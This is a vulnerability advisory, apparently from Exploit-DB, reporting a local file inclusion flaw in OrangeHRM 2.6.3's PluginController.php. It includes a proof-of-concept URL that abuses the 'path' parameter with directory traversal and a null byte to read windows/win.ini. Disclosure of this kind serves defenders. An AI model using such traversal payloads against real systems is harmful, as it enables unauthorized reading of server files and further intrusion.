OrangeHRM 2.6.3 - 'PluginController.php' Local File Inclusion

Author: AutoSec Tools
type: webapps
platform: php
port: 
date_added: 2011-04-25 
date_updated: 2015-07-12 
verified: 0 
codes: OSVDB-72006 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comorangehrm-2.6.0.1.zip

------------------------------------------------------------------------
Software................OrangeHRM 2.6.3
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.orangehrm.com/
Discovery Date..........4/25/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in OrangeHRM 2.6.3 can be
exploited to include arbitrary files.


--PoC--

http://localhost/orangehrm-2.6.3/plugins/PluginController.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00